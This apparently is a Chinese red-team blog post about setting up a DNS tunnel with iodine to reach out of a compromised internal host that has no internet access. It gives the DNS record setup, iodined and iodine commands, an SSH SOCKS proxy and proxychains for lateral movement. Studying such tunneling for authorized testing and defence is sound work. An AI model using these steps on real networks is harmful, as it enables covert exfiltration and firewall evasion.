年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。
DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。
因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例:
第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx"
第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。
最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。
配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。
1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。
apt-get install iodine
2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址:
iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD
#-f:在前台运行
#-c:禁止检查所有传入请求的客户端IP地址。
#-P:客户端和服务端之间用于验证身份的密码。
#-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。
#这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突
#注意!填写的地址为NS记录
3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的:
iodine -f -P d1m0n dns2tcp.xxx.com -M 200
#-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道
#-M:指定上行主机的大小。
#-m:调节最大下行分片的大小。
#-f:在前台运行
#-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。
#-O:指定数据编码规范。
#-P:客户端和服务端之间用于验证身份的密码。
#-L:指定是否开启懒惰模式,默认开启。
#-I:指定两个请求之间的时间间隔。
两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通:
到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下:
ssh -N -D 8080 user@192.168.0.1
#-N 指示SSH不要启动shell,因为我们只是想创建代理
#-D 设置动态端口转发,SOCKS代理端口为8080
#user 我们服务器上的用户
#192.168.0.1 tun接口上的iodine服务器
输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4
vim /etc/proxychains4.conf
最后验证一下我们的代理有没有搭好:
proxychains4 curl http://www.baidu.com
大功告成,后面就是内网漫游时间~
实验名称:DNS服务器配置